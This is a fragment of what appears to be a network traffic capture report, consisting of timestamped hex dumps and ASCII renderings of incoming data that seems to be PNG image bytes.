ff c4 c3 c3 ff c4 c3 c3 ff c4 c3 c3 ff ab aa a9 ff c4 c3 c3 ff c4 c3 c3 ff c4 c3 c3 ff c4 c3 c3 ff ff ff ff 4d ff ff ff 4d 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff e4 e3 e1 ff 2b 29 25 ff 50 4d 49 ff 83 81 7d ff c4 c2 c0 ff e4 e3 e1 ff e4 e3 e1 
ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff c5 c4 c1 ff 89 96 82 ff 50 98 4a ff 53 4f 49 ff 42 3e 37 ff 61 5e 59 ff 83 81 7e ff 
Data Ascii: 1u$|5741u$%#85/960;82PMI}MM+)%PMI}PJSOIB>7a^Y~

2022-01-13 21:05:29 UTC 1705 IN Data Raw: 37 ff 41 3d 36 df 40 3c 35 8f 40 3c 35 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 44 40 39 30 43 3f 38 8f 42 3e 37 bf 41 3d 36 8f 41 3d 36 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 7A=6@<5@<50D@90C?8B>7A=6A=60

2022-01-13 21:05:29 UTC 1710 IN Data Raw: 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 69 e6 49 44 41 54 78 5e ed dd 75 b8 7e db d7 16 f4 9f 
71 44 45 11 c5 7c 55 54 ec 2e ec 0e 6c 05 13 15 c5 2e ec ee 16 0c 44 b0 50 c4 40 50 c1 24 4c 0c 14 b0 45 91 b2 0b 03 54 
14 0b 13 15 d7 e7 75 df cf 75 9f db b9 9e 67 ef 73 ce 7b c9 f5 5e df 3f c6 5e cf 8c 31 e6 98 63 8e 31 e6 98 b1 d6 fe da ef fa 
b5 af fd 8c df ff 82 ef 71 c1 d7 2e f8 d9 de 9e 81 9f 7d d2 d7 9f af 87 a4 ff 89 fa 7d 82 df f2 90 f7 ff 27 fc 45 93 fe 66 17 fc 
52 17 fc 93 6f bf e5 fd 23 17 fc 5c 17 fc eb 17 fc 32 17 e8 e3 cf 72 c1 ef 52 79 bf d7 05 7f f4 05 7f cc 05 7f ea 05 bf f4 05 7f 
d2 05 7f ca 05 7f e2 05 7f d4 db ef 3f e4 82 3f fe 02 e5 7f d8 5b fa 4f 78 03 f5 fe b4 0b 94 fd a1 17 fc 11 6f bf e1 fd e9 17 a8 
23 ad 8d fc fe 6d 2f f8 
Data Ascii: HYsodiIDATx^u~qDE|UT.l.DP@P$LETuugs{^?^1c1q.}}'EfRo#\2rRy??[Oxo#m/

2022-01-13 21:05:29 UTC 1714 IN Data Raw: 26 d4 75 e9 31 7e e8 1b 3e f4 d9 93 3c 5b 57 4f b0 7e 7d d3 0b e8 76 9a bd b4 2c 94 c7 b6 f0 ba 6b f1 d8 5b f8 
22 e3 96 6f eb de 9d bd a5 9f 77 36 a7 0f 64 f7 ea 3e f5 da d1 df 33 69 b1 49 a7 f7 3d 8b b5 93 85 57 f7 a7 dd ef ed f4 5f 
3c e9 6d cf 9a a2 d3 64 df 31 64 64 9f 35 87 7e 93 43 df a7 a6 57 5d 66 3f 96 dc da 2e ad 43 5e d9 e5 ea 01 3c fd 6b da 
d6 8e f2 b5 2b 6d af 27 31 e3 ee 37 fd 8d 17 d0 05 3e bc fb 04 57 fd e8 34 3b 26 97 e6 27 fe 87 7f 3d bd e3 ac 0d ba b8 f7 
a9 d1 6b 9b 45 63 cf 41 f9 76 f9 ce 16 f1 97 7c ba 14 5e 9a 5f 3c b0 d5 f4 9b fd e3 83 ce 2b cb 5a 2e 3c b9 6f 72 21 3e 20 
b6 4e 26 de 3d ea f1 52 df 9e 66 d7 a7 eb e6 dd cc 5f 80 8f 3a d9 0d 7e bf a1 df db 66 f7 c6 0a 5f ea dd 9d 9d 2a d7 57 7a 
19 3f dc fd b4 4f 74 21 3c 20 f8 ea f4 7c 
Data Ascii: &u1~><[WO~}v,k["ow6d>3iI=W_<md1dd5~CW]f?.C^<k+m'17>W4;&'=kEcAv|^_<+Z.<or!> N&=Rf_:~f_*Wz?Ot!< 
|

2022-01-13 21:05:29 UTC 1718 IN Data Raw: ef 31 04 07 e8 c3 ab f2 ed 8f 36 ae c2 07 34 fe dd dc c3 3e 77 ee 31 96 7c 11 fc 8c a1 f5 a4 31 b4 76 ca 5e 73 
da f5 6d cf f6 41 70 f8 b0 f6 1b da e6 c3 5a cf e1 5a 8f bd f2 5f 7b 06 a1 4f f9 8d c7 2f e3 bf 5e 9d dd ee 37 7e e8 5e a7 f7 
ae a2 bd f3 4e ef d9 ed c6 7f 7b 16 bb e5 0b ab 8f de e9 eb f4 d2 db 7d 0b fe ac bf 7f 42 46 fc 59 62 34 72 20 97 fd be b4 
7a f4 a0 f7 97 ed a7 9f f6 97 43 c3 ff 8e 27 6f e9 f8 30 6b 07 f5 d0 8b 0f 6b 3b 02 eb c3 4e df 70 30 7e 78 60 fb ad 1b ed d3 
5a 6f d7 56 f6 9b 91 4d 93 ce 2c 4d b4 d8 31 dd d7 37 77 0a bb 1d 73 bd 7a c6 2f 75 ec 21 c4 1f 66 cf 31 ed 93 43 b7 1f ff 
d7 b2 e0 ff f8 ff 3b bf d8 f7 29 e2 17 b7 1d f2 bd 2a 7c a9 76 7a 6f f1 ae 1d fd bd 2a 3c c0 f8 ae 2f b5 96 6b fa f1 a5 62 f7 e6
27 be d4 f7 d5 f9 cf e4 df 
Data Ascii: 164>w1|1v^smApZZ_{O/^7~^N{}BFYb4r zC'o0kk;Np0~x`ZoVM,M17wsz/u!f1C;)*|vzo*</kb'

2022-01-13 21:05:29 UTC 1722 IN Data Raw: ac d0 7b 29 70 d5 33 17 e7 4e 8a bd b3 94 03 79 3f 69 f2 f0 b1 f7 5a d4 33 d7 6c 1f 72 67 3f 79 70 cd 39 49 67 
8c c4 9f c9 c3 17 7b 50 2f 72 32 bf a1 63 ec 4f 7e 12 8d 3d bf 51 e7 e4 7f a3 57 3b 9f 6d fc 8f 87 fc ce 7c b6 ba 9d f9 40 5c 
a5 9d 93 1f d1 ce b3 f4 c2 ab fa f4 6a f7 63 e8 55 f6 be 9c 65 ac ad 19 63 7d 65 73 f1 35 ee 68 a9 ef db 89 5d 5f 9e ef 1a 
74 1e f9 36 1f da 24 0b f9 fd 7e 85 b1 8b 7c c5 2c 3d 5f 69 b7 69 2a cb ef bb 78 41 9b f2 4e b2 57 86 0f fc 5a fb ad ee b1 
95 d5 bd ed 03 7e d1 ee 98 02 6d bc 1a 4f 74 fc 5f 8f 94 01 79 fb 8d 6e b4 c9 3f 69 f2 a5 bf da 43 4f ff 3c e9 47 d7 03 7b 8f 
68 a1 63 10 b0 eb d6 57 e9 fd fe c2 a6 f5 bf ed 19 9f f4 99 dc cd dd e9 83 3e f9 6e b0 be 28 23 07 73 57 8f 69 62 a7 d3 37 
81 e1 db b7 b6 ef d7 ef a3 18 03 
Data Ascii: {)p3Ny?iZ3lrg?yp9Ig{P/r2cO~=QW;m|@\jcUec}es5h]_t6$~|,=_ii*xANWZ~mOt_yn?iCO<G{hcW>n(#sWib7

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:29 UTC 1726 IN Data Raw: e7 57 fb af 8d ef ec bc f5 9f ec 5b bf 7e ec 05 7d cf 94 af e8 ff f9 4b be 3d df d9 53 ef fb d3 ca e8 50 d2 f4 c3 ff 
ad 4d da 7e 46 c7 4f c6 ba f7 b6 be f7 05 3d bf 8b f5 3a 3e 12 df b5 bd 88 65 7a cd e5 9e 94 39 24 69 63 d9 ef 05 6a af fd 
1d df ba fb b7 c6 38 bf cd 0f 3d ff b3 df f6 37 fc 67 bf 43 69 fe ef f3 3c ba d8 67 cb e6 5b 31 45 d2 7c cf 8f aa 34 7d e9 bb 12
ee 44 b6 bd b0 a7 3e e3 11 0b b4 7d 8b 6f da fe d9 47 9f 71 58 77 b5 be 88 17 9b 3f ba 22 86 4a da 7e 71 c7 8b 62 89 3e 
17 6b 59 03 f1 4a fb 43 df 4b ee f8 80 6f 6b ff cf 37 74 7c 62 ee 35 87 25 cd 76 f8 ec a4 7d 33 a3 bf ed 65 3c d9 5c d2 da 
ea f3 05 73 7d ff 1f 66 fe b2 e7 63 b1 b2 35 50 d2 78 b3 b7 93 34 7d eb ef c4 9a 5b 7a 5d c1 3e 3a 3e a2 0f 3d 3e d7 9f cf 
9d bf db 03 e8 f9 c6 7a b7 ef 
Data Ascii: W[~}K=SPM~FO=:>ez9$icj8=7gCi<g[1E|4}D>}oGqXw?"J~qb>kYJCKok7t|b5%v}3e<\s}fc5Px4}[z]>:>=>z

2022-01-13 21:05:29 UTC 1729 IN Data Raw: d1 bd cb d7 6f cf e8 b9 75 a1 a7 f5 7c f2 d5 0f 7d fd 96 7f d7 ae 32 cf 6d 37 3a 11 fa d6 0f 9e 59 b7 2c 1d 36 ed 
b9 74 42 3f 74 ec 4f f0 9d 77 fd 4d fd f8 41 78 78 e1 df a4 c5 b1 ea 58 3f 74 7e ea f3 1f 9d 1f 3f 9c fc c8 cd 9e 10 9e ed 33 
c8 07 ea df c9 39 f9 fc 3d bc c8 39 fc 88 8f e5 67 cf a1 e5 23 3f fc 84 4e f8 f7 5b be 3d 16 bf f9 21 b6 b3 fc 44 3e 59 7b df 
e9 4f e4 90 fc 6f 77 41 74 bf c1 3e 24 db cb 99 74 f4 34 fc 38 2f 3a e1 d9 e3 86 97 bb 19 f1 f3 c1 c3 ff 09 4f 7c e6 19 3d c8 
dd a5 e0 d9 67 4e 1f 1a 22 e7 f8 0f f1 84 74 f0 ec 93 f4 5c 13 08 5e e4 97 bb b6 c1 b3 df 8d 97 d4 0f 04 2f e3 91 3b 2c c1 
b3 4f 78 5a bb 07 2f f6 9f f5 76 f0 ec 75 db 7f f7 bb 21 78 e4 a6 6e ee 1c 05 cf be 94 98 2b f5 03 c1 8b fe d9 df 95 0e 9e 7d 
68 3a 96 fa 81 e0 c5 2e 
Data Ascii: ou|}2m7:Y,6tB?tOwMAxxX?t~?39=9g#?N[=!D>Y{OowAt>$t48/:O|=gN"t\^/;,OxZ/vu!xn+}h:.

2022-01-13 21:05:29 UTC 1733 IN Data Raw: ea 73 d6 e9 a7 b2 ac 8f 5b 16 fa 9e 31 09 1f 29 97 17 9f a3 dd 3b ba 59 b7 ae 0d 89 ed a4 33 de af 78 cf 1e 96 
f3 80 e8 3d 9c de 9b 8c 4e 3d ab 73 a2 9d fd b0 3b 5d 8c 6f d0 f7 c4 09 77 b4 12 17 9e ca e2 27 3b 9d df d1 c7 53 59 fa 7e
f2 0d b1 83 d6 39 7c aa 13 fd 80 1b bd 3b f9 11 75 a3 7b 62 d4 96 67 fa 6b ac d4 63 bf 91 53 c6 3e 74 df 13 a3 a1 7b 27 
67 ed b5 ef 5d ff 16 dc 94 6b 13 7e fa ea ce 8f 7c 34 d4 55 4f 1b 70 c5 0a e9 6b db 15 1f 86 06 7e e2 3b e1 a5 ff 70 ef 74 
a9 6d f2 2e 1e 8c ee dc 95 9f fa 98 79 9a df c3 5b fa 20 2f bc 87 9f d4 cf 1a 3e 79 a1 8b 46 e4 a3 5c 9b d1 0f bc 6d 7d 7d cf
78 91 0d 3c 6d 93 b5 18 81 fc d1 e9 39 5a fb 68 c5 1f 64 7c d2 56 fa 2a ef 14 17 f6 3c 41 4f d5 cf 58 68 0b 5f ea f1 19 ca 
e4 a3 27 af 63 a9 13 5f 99 3b 22 af d4 
Data Ascii: s[1);Y3x=N=s;]ow';SY~9|;u{bgkcS>t{'g]k~|4UOpk~;ptm.y[ />yF\m}}x<m9Zhd|V*<AOXh_'c_;"

2022-01-13 21:05:29 UTC 1737 IN Data Raw: 4c 65 6d 0f e1 15 56 bf ed ef 34 3c 45 63 1a 69 7b e1 5b de 16 26 9d 50 f9 87 b9 6c ea 06 77 b6 34 71 d6 a5 f5 
52 81 d9 42 c2 a6 9e 78 ee 51 67 c7 99 ca 50 e3 93 62 b6 58 0e 7f ee ad 4a 0c 6f a3 00 f9 ef 99 6d 84 3e 7f db 3f 3e 23 
60 86 aa be 64 f6 3d ff 1e eb b3 e2 b1 50 bc bb f1 3a 14 79 0e a0 9c 17 74 a8 80 7a 44 3c a8 87 2f 21 c1 33 62 fd 97 68 21
ec 88 21 67 6f 40 25 35 e4 83 24 d0 28 37 3b 5f 58 9f 3a ea 9b 7f 20 16 7f fb 0b 04 f0 3e 86 a2 7b 29 e4 25 e4 bf af a3 bf 
40 f5 64 10 fb 19 01 2d 02 54 ed 26 8a bc 48 00 f3 5d 28 aa 7f 01 c9 ac 5b 6b 59 77 41 8f 22 ab b7 a3 cf 9b c8 33 7b 70 1d
bd 7f eb 77 8a 9f ff 10 f0 0c f9 c0 3a ea 76 fe a9 fc 73 17 f6 6f 41 5a bf 15 ff 6c 0d c9 5b df 8a 54 81 f9 8e 96 80 18 01 63 
dd 4b 48 d8 fa d2 b7 86 09 40 e1 87 c4 
Data Ascii: LemV4<Eci{[&Plw4qRBxQgPbXJom>?>#`d=P:ytzD</!3bh!!go@%5$(7;_X: >{)%@d-T&H]([kYwA"3{pw:vso
AZl[TcKH@

2022-01-13 21:05:29 UTC 1742 IN Data Raw: 33 5d 05 1c a9 c5 96 55 1e 92 b6 34 25 c6 92 83 b5 9b b4 80 62 5e 8a ae c5 ed 0f eb 1c 5e 9d d7 74 86 44 71 
56 46 7d b1 5f 74 27 15 e9 f9 58 cd a7 c4 04 e3 0d 40 0a 8b 22 85 ba 42 6c 8d 51 2a 22 ae 63 22 85 a8 79 d5 52 90 91 84 
ef cb 48 ac b3 d0 2d 3c 09 17 5e 01 4b b0 b5 76 92 7a 8c 96 82 e6 22 b3 69 9c 96 72 f3 b4 b4 61 f6 89 56 b4 30 73 70 5f 
35 4e c1 bc fb e1 e6 92 dd d2 75 ac e8 3c c4 4c b6 97 fb 80 a8 ef 61 9d 3c 28 40 73 90 d5 36 7c 0d 6e f7 e0 eb 9d 7b 38 
42 63 fd 68 fa 5f 45 38 ef 6b ca ed 8d 28 52 25 3b f9 91 8e e3 4d 20 fa fc 9d bf f6 14 50 a0 cc 90 bf 38 ab 21 d4 f5 06 b2 f6 
e1 77 52 88 7d 41 42 bd 6d 3e f5 cb 39 da c8 4b c8 54 82 3a f0 a3 d7 3d 01 0d ff 49 4c 45 42 82 b0 ae c8 ef 11 d7 fa c8 3a 
6a 25 14 1f da 39 fa f7 67 ed e7 2a e4 ef 50 12 
Data Ascii: 3]U4%b^^tDqVF}_t'X@"BlQ*"c"yRH-<^Kvz"iraV0sp_5Nu<La<(@s6|n{8Bch_E8k(R%;M P8!wR}ABm>9KT:=
ILEB:j%9g*P

2022-01-13 21:05:29 UTC 1746 IN Data Raw: d3 4a 94 94 7c a4 9e a9 22 ca b4 33 25 5c 32 46 3a ee 5e d2 94 a0 35 19 15 f9 a5 31 a4 2c a9 86 f4 8a ba a0 
bc a0 ac e8 80 05 13 00 9d 81 ce e7 69 38 ca 0c 5e 3e 46 e9 a5 fb 96 22 b3 2d c3 04 51 b8 29 6d a9 93 14 54 7f 51 ca 59 
80 b3 50 25 7c 85 0a c5 58 47 2e de eb ea 3a b6 b0 f7 01 9e df 32 35 83 4a cb dc 7b 6c 28 b9 d6 79 ae 01 e1 26 70 3d 6c 
cd d2 67 c5 78 95 4b ab 19 c4 d9 a2 27 9e ef 51 27 d4 55 65 bc 3d 54 4f ec 01 27 57 01 19 00 51 6a a3 03 0c 29 97 6b ac 
8d 0e 73 21 c7 8a 2b db 7c ef b4 b3 84 a2 b4 e4 76 f0 be 43 9f 69 31 61 9a ce a5 35 e9 d3 dd 69 75 b5 87 5a 97 f0 52 33 
bf aa 6b 50 23 60 6a 9d 8d 0f b3 8c ce 01 06 61 16 90 d6 ab 44 2c 12 42 50 7d ad cf cd ea 69 fa 4b 9e 1f f8 3f ab 6f 24 f7 
7d 1d 6e d6 17 1c 4f 80 5b 6f 23 77 cf df 32 22 2c e2 
Data Ascii: J|"3%\2F:^51,i8^>F"-Q)mTQYP%|XG.:25J{l(y&p=lgxK'Q'Ue=TO'WQj)ks!+|vCi1a5iuZR3kP#`jaD,BP}iK?
o$}nO[o#w2",

2022-01-13 21:05:29 UTC 1750 IN Data Raw: 02 0b 42 96 be 85 24 b5 2d 53 7a b3 a6 8b 48 2e 1c 91 eb ac 75 a0 bf f0 c0 82 07 45 cc 58 a7 c6 ab 71 39 4f 
11 d9 ea 98 58 bc c6 23 cb da d4 15 f5 dc f5 d8 36 7a 27 86 0b c2 cb 6d 9f f3 94 09 b4 e3 cc be bd ab ef 3f 46 9d 0f 07 17 
fb 75 70 76 9e 72 9d d2 81 39 20 e5 1b 3b 3b c1 c7 6e a9 c7 8b 99 0b 1b 2d 53 ee ba 5b 14 cb 07 6a 9c 11 cf a7 2c 1c 53 
95 1f dd 62 ba 07 14 5c 93 53 a4 2b e2 3d dc 14 60 85 da b5 ab 81 20 64 0c b8 a3 84 da 2f 3a 23 ca b6 a8 bf b1 b0 e4 1f 
b9 de c2 35 68 4f 09 6b ca b9 ae e9 48 6b 2f 90 30 3f 77 12 01 f9 57 89 eb 1c 14 b6 c1 7a e2 5e d2 c5 8d b8 9e 23 ad 78 
ba b7 2d f5 9c 56 a2 b5 64 e9 ed 53 41 ed aa 71 cc 36 89 81 ee 55 c4 c8 4a fb 37 27 bc b1 ad 5a e0 32 ba f9 c2 fe 85 b7 
c3 e3 6a c5 77 ac 14 ba 19 35 b2 ab 97 6a e6 6d 2d 2c 
Data Ascii: B$-SzH.uEXq9OX#6z'm?Fupvr9 ;;n-S[j,Sb\S+=` d/:#5hOkHk/0?wWz^#x-VdSAq6UJ7'Z2jw5jm-,

2022-01-13 21:05:29 UTC 1754 IN Data Raw: 28 9f a8 f2 ba a0 b7 a9 0f a9 4a ba 2c 98 77 04 aa 01 cb d4 35 a0 66 b7 2e 95 55 6b ba 94 bc cf 5a bb 1e 26 
35 7d 30 b5 8a e7 03 fd 83 a7 b3 37 54 f1 58 1c 29 9b 91 21 f0 85 cd 03 f6 a2 a7 a4 00 a5 21 2c f5 38 c8 82 73 8c 92 b6 
27 25 05 53 5c 85 dd ce a5 23 e5 22 85 d1 33 c8 85 6c e0 6a 50 42 ca b0 b0 74 d5 d3 73 ce 1a ba 82 ee 12 46 2d 0f ba 
c6 5a 08 e0 d9 0a 30 0a c7 4f a6 cc 34 32 32 c3 2e 50 ba 14 f8 65 f1 2a 0b 88 bb b3 d9 b1 63 b4 3b 3a ca 53 f3 d2 02 b2 
30 4f dd 25 7a db cc d4 4f ad 5d 80 27 64 75 0a 44 fb 95 6c ef 6e 29 4f ac d5 b4 b9 8e cf 94 dc 9a ec f9 4e 7a 8c 2e bf 2e 
9b 68 2f b2 93 ce 34 3b 14 05 a8 91 3b ce c9 48 d7 17 2d 0d 9d 74 ed 60 22 1b 6e 02 c6 99 ad e0 18 da 27 ba 99 27 eb 
09 e8 c3 4c 4c 93 51 0f 34 a0 ab 20 60 3b 27 c7 59 1d 5a 99 
Data Ascii: (J,w5f.UkZ&5}07TX)!!,8s'%S\#"3ljPBtsF-Z0O422.Pe*c;:S0O%zO]'duDln)ONz..h/4;;H-t`"n''LLQ4 `;'YZ

2022-01-13 21:05:29 UTC 1758 IN Data Raw: 0b 65 5f 81 19 2b a9 99 23 b9 23 3e b8 38 f3 c9 b3 29 ae be c1 7a 68 f7 e5 73 d9 44 d0 a1 73 80 15 a5 9a 8a 
d9 eb 6e ae 23 e0 6c 3c c2 02 2e 5c 2d 66 24 97 ac d6 75 94 e9 bb af 29 5b 92 1e 6f ee 4a 68 47 f7 29 1d 8b 12 e4 cc 64 
90 0a 02 c5 0c fe 5d 57 93 a0 84 b7 f1 39 b0 1f bf f1 db aa 1e a6 79 69 1f bb b3 ce 4e 6a 6e 99 18 03 1b c1 5c d1 53 39 09 
a8 c7 de aa 7d 06 b3 4d a7 aa ec 3a 7b c7 5f c9 b1 57 9e 07 75 8d b1 32 8e 6d bc ab ca 11 9e 0e b5 57 05 50 c9 97 f4 ef 
c2 f4 e2 5d 64 2b 22 69 b2 e7 f4 2e 95 65 0e c8 d2 eb 4b 69 d9 cb df 65 59 51 49 56 19 60 e4 4f 38 b4 90 6d 46 8f c8 6b 
5b 5c 43 46 98 14 86 b2 0f d4 ae ad 72 d7 d5 07 b7 78 48 dc 24 36 d4 3c 0b 2c 34 07 ed dd 4a 50 d4 50 a6 b5 75 fa d8 93 
e4 c3 5b dd fb de 0e e7 28 a2 87 6d 17 5b 61 7a db c3 
Data Ascii: e_+##>8)zhsDsn#l<.\-f$u)[oJhG)d]W9yiNjn\S9}M:{_Wu2mWP]d+"i.eKieYQIV`O8mFk[\CFrxH$6<,4JPPu[(m[az

2022-01-13 21:05:30 UTC 1761 IN Data Raw: 2c 77 f3 2a 00 f0 ad fb 00 b1 a5 a7 ae ad 27 d2 03 d1 a5 b0 08 85 15 13 5b b6 34 73 86 b6 43 fb 01 05 e7 31 
7a 82 c3 01 fb 60 7d 49 f1 eb ca c0 64 ee b7 0d c0 9c 7c a0 2f ee 65 e7 78 7a 01 85 f5 c5 fd 64 ba 6f 60 9f e5 e8 11 cf 52 
96 36 17 8e 2e b0 74 b5 e1 bd a0 96 28 bc 9b 22 32 93 8e 40 5e 27 5a f2 b5 63 a9 a4 e9 01 ac d0 63 4a 71 35 b3 c6 af f6 
cf 8a 65 08 60 96 73 d8 c4 3a dd 1a 9c 0c ec 05 46 61 ab 84 f4 94 a7 96 38 9c 9c 07 dd 2b 4f d8 14 70 37 4d 97 f3 b0 06 
65 f8 af b2 7a 68 a7 a6 1b 9c 95 d4 01 7a fe 3a 0a f5 95 b3 2c 7e 3f 77 8c 64 90 c6 27 ef a7 a6 92 90 14 a6 b2 59 ed ad 84
94 bf ce c5 a2 f4 55 16 9d 03 ca 9a ba 7d 96 16 e5 8d 0b c5 48 d5 56 31 75 ec ca c8 d1 ba 0d c8 4b d5 36 9d e5 42 05 9c 
72 16 f0 df f4 72 4c 45 f6 7c a4 81 76 56 66 40 d4 
Data Ascii: ,w*'[4sC1z`}Id|/exzdo`R6.t("2@^'ZccJq5e`s:Fa8+Op7Mezhz:,~?wd'YU}HV1uK6BrrLE|vVf@

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:30 UTC 1765 IN Data Raw: 1a 78 9c 72 70 cc d1 42 4f 54 b2 4d ac 43 ea 50 58 31 4f a4 e2 42 fa 68 e8 ee 39 fc 82 d4 46 77 17 38 ce ef d4 
0d 7e 6b 04 49 e4 57 90 3f 95 a9 a6 f5 65 95 df cd de 4c 42 49 e0 e2 7c 66 ea 12 46 2c 2d cd 9f c4 b5 f5 72 58 d0 d6 60 fa
a1 86 bf dd 16 b2 b1 ba a6 7c 36 45 6a db 63 63 72 7b e1 ac 99 31 25 06 f3 f6 4f 8d 63 0d ae 4e 69 98 6b 0f b7 51 69 d8 
5d 74 0e 68 45 f6 e9 bc 64 5c d9 0a bc d9 09 17 9b ae f5 b3 bc f5 8e 24 a2 e9 68 fb de a4 32 e3 4a c1 65 4a d6 c4 52 4d 
f2 1d 80 e7 2a 69 80 9d b1 bd eb c6 6e 2e a8 c1 f2 22 cb aa 5e 1a 6a b7 73 0b e7 78 e9 62 9b b0 ec 58 cf b3 a0 77 fd 13 
ee 61 c4 db 73 3d d0 fd 5b 49 57 fb 9a bd bf ba 8f b8 03 12 ee 1a 7f 9e b2 77 04 93 b5 b1 a9 07 c4 3c b8 76 66 e2 b3 2b 
14 d0 94 dc 0f 9d e1 12 54 b7 72 43 ca 22 ad c9 e6 
Data Ascii: xrpBOTMCPX1OBh9Fw8~kIW?eLBI|fF,-rX`|6Ejccr{1%OcNikQi]thEd\$h2JeJRM*in."^jsxbXwas=[IWw<vf+TrC"

2022-01-13 21:05:30 UTC 1769 IN Data Raw: 58 9e 42 02 d8 b1 b4 f7 99 5d cb 92 bd 54 a5 b8 84 23 60 4a 1d 2f 94 e3 9b 93 dc bc 2b d0 c4 6f cb e8 d4 5c f4 
a5 cc e5 72 d8 3a 56 66 7c 4b 57 cb 48 78 ca d2 e6 6e 02 0c 8b fc e8 c0 85 cb 4b 9e f1 7e 03 ef b9 70 46 e7 76 80 20 dd 
1e 24 70 b1 91 90 24 66 1d bb 08 e7 fc b6 c2 18 a9 01 24 39 cf 1b f9 7b 1d 0b 08 88 3d a9 db ae 14 af 24 85 55 e8 4e 9d 
bc ba cf 75 d7 41 33 fc 30 dd 24 e5 a4 7c b9 1f dc 6e b2 a2 9a 2c d2 c7 b1 3d f1 56 b9 52 36 8f aa d8 2e c0 0c 96 ea ca 
02 bb b4 31 b0 d5 85 23 57 c5 36 40 c4 6b 59 66 da 5a d2 e4 8f ce 19 38 2d cf 88 ad 2d bc 69 61 22 07 5f 56 f0 b4 b3 e9 
08 55 47 db 2b 51 9b 14 d2 1d 49 c4 9c c8 2c 98 15 30 57 4d 1a ef 0e 92 06 18 41 72 1c 73 da d0 71 fb ad cb e3 f3 ed c2 
3c bc 95 99 67 71 88 81 6f 67 21 b1 94 db 19 fb 16 97 
Data Ascii: XB]T#`J/+o\r:Vf|KWHxnK~pFv $p$f$9{=$UNuA30$|n,=VR6.1#W6@kYfZ8--ia"_VUG+QI,0WMArsq<gqog!

2022-01-13 21:05:30 UTC 1774 IN Data Raw: 43 35 dc 27 19 dc 01 92 4b 1e 77 19 c3 5a 51 19 5b 07 79 c4 cd 40 4b 28 fd 19 f2 83 b1 53 a6 81 6b 84 05 db 
e4 38 b0 d3 73 2f 70 b1 32 f0 25 6c 6d 96 d1 ed f0 ec 95 cb 1c 7d a1 48 3a 67 e6 02 5a b2 d5 1d 21 d5 00 cf 75 11 08 52 
24 6c a9 db ce 76 7d 73 f0 3c ef 21 1c 53 07 62 cc 9a 3a ca e4 0d bf 74 e2 9a 41 cb 5a 89 39 5b af ba 9b 2a ce 7e e4 3a 
4b 4f 1e 12 70 c9 56 04 db 12 76 be 7d 8b b0 4e 8c 73 66 51 9f d6 72 55 27 c2 e0 7a 49 17 95 9e e5 67 42 58 72 72 50 de 
8c df f2 cd 19 04 53 8b 59 51 0b db 12 62 0f 1c 61 a4 35 ef d9 56 37 a0 3a ad e3 15 31 47 46 d5 67 f6 94 77 9b 1d a0 b2 
16 b6 a7 ab 83 8b fe 61 0f 0f a8 41 c7 a8 56 47 0a c8 b8 b0 d4 8f 76 02 50 36 cf ef 9e 6d 8a f7 26 2a 81 a0 b4 99 d1 e4 80 
b0 24 e2 e0 78 83 e5 28 a3 ec e4 1d 16 8d 93 5a cd 32 
Data Ascii: C5'KwZQ[y@K(Sk8s/p2%lm}H:gZ!uR$lv}s<!Sb:tAZ9[*~:KOpVv}NsfQrU'zIgBXrrPSYQba5V7:1GFgwaAVGv
P6m&*$x(Z2

2022-01-13 21:05:30 UTC 1778 IN Data Raw: a6 94 6f 68 c1 18 14 80 1a 73 58 54 5c 4b 7b 17 f3 b1 31 64 bb 2f 75 6a 23 30 06 a5 5d e3 2e 27 03 c9 0a 40 
86 11 7c ce de 87 38 7c 2d 26 0f 5f 81 b4 1e 6d 6a 98 cf 27 5b f7 95 b0 2f 67 c7 78 13 db 42 93 71 14 98 c8 51 cf 1c f4 81 
6b 45 40 a0 e9 5d d6 b7 a7 10 1f 2f 1f a6 0d 11 a0 b4 99 be 1d 29 c7 de 8e 34 82 56 8c 21 63 d5 93 41 8a b6 88 b5 90 be 
13 66 36 ef ec 2d 2e 28 4b c8 2a 07 d1 72 68 f3 0e 2f 1c 9e 5b 70 f7 bc 74 52 99 79 d2 50 53 51 d4 62 0a 42 7b 2f 99 2a 
aa b2 91 11 60 44 d1 8a 64 e1 ed 2a 93 fa 33 7a ff b0 c7 15 cf 47 a2 13 46 55 4e 5c 55 24 0d 59 1c e7 1b e2 c6 82 07 dc 
2c 2a 46 34 ae fd ac dc dd 8f ec 9d 1d d5 94 31 51 25 5d 33 8c d5 b1 a3 8e b1 8a 9e bb a7 eb 05 43 f8 36 23 1d 1e 8d d8 
19 b5 df 5d 95 55 e8 f5 83 a0 35 71 c8 dd 59 ac 73 f7 
Data Ascii: ohsXT\K{1d/uj#0].'@|8|-&_mj'[/gxBqQkE@]/)4V!cAf6-.(K*rh/[ptRyPSQbB{/*`Dd*3zGFUN\U$Y,*F41
Q%]3C6#]U5qYs

2022-01-13 21:05:30 UTC 1782 IN Data Raw: a2 f6 31 6b 08 47 6f 1a c6 d1 c1 1c c1 dd 04 78 bf 71 76 ea 3f 2a a3 2b 5f 8f 16 06 92 66 58 ca 97 d4 50 9e 3e 
6c 11 30 57 20 e1 aa 74 b2 8c 82 8e 02 c5 24 5e f3 09 d6 ba 47 1d 73 cd 1d f5 a5 e7 b9 72 d2 17 df 13 77 ca 8e 90 34 61 
19 7a f9 9b 77 e6 bb fd 90 f0 5c 0b 74 39 20 0e c7 e5 55 87 80 dd 3e 8a 6f 23 50 cb 51 bc 5a ac 4d a0 8a 3e 20 60 db 04 
